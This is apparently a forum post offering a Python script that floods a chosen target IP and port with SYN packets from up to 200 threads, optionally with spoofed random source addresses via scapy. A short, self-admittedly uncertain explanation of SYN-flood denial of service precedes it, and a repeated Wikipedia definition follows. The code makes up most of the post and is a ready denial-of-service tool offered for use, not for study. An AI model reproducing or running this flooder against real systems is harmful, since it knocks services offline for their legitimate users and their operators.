This script uses multiple threads to flood your target using the Syn/ACK 3 way handshake attack. This drops connections once it finishes the second step, I believe correct me if I'm wrong. This will make the target wait for a packet that will never come and cause it to be unresponsive. The reason it crashes or becomes unresponsive is because the server is consuming a lot of resources by waiting for a packet that will never come plus your flooding it repeatedly causing multiple connections to be opened. This is what I believe. This script is coded in python so it should end with .py if you save it on your pc or server.
Wiki's Definition of SynFlood:
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.
Wiki's Definition of SynFlood:
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.
Code:
#!/usr/bin/env python
#########################################
#
# SYNflood.py - A multithreaded SYN Flooder
# By Brandon Smith
# brandon.smith@studiobebop.net
#
# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack
# as discussed by Halla of Information Leak
#
#########################################
import socket
import random
import sys
import threading
#import scapy # Uncomment this if you're planning to use Scapy
###
# Global Config
###
interface = None
target = None
port = None
thread_limit = 200
total = 0
#!# End Global Config #!#
class sendSYN(threading.Thread):
global target, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# There are two different ways you can go about pulling this off.
# You can either:
# - 1. Just open a socket to your target on any old port
# - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated!
#
# (Uncomment whichever method you'd like to use)
# Method 1 -
# s = socket.socket()
# s.connect((target,port))
# Methods 2 -
# i = scapy.IP()
# i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
# i.dst = target
# t = scapy.TCP()
# t.sport = random.randint(1,65535)
# t.dport = port
# t.flags = 'S'
# scapy.send(i/t, verbose=0)
if __name__ == "__main__":
# Make sure we have all the arguments we need
if len(sys.argv) != 4:
print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
exit()
# Prepare our variables
interface = sys.argv[1]
target = sys.argv[2]
port = int(sys.argv[3])
# scapy.conf.iface = interface # Uncomment this if you're going to use Scapy
# Hop to it!
print "Flooding %s:%i with SYN packets." % (target, port)
while True:
if threading.activeCount() < thread_limit:
sendSYN().start()
total += 1
sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)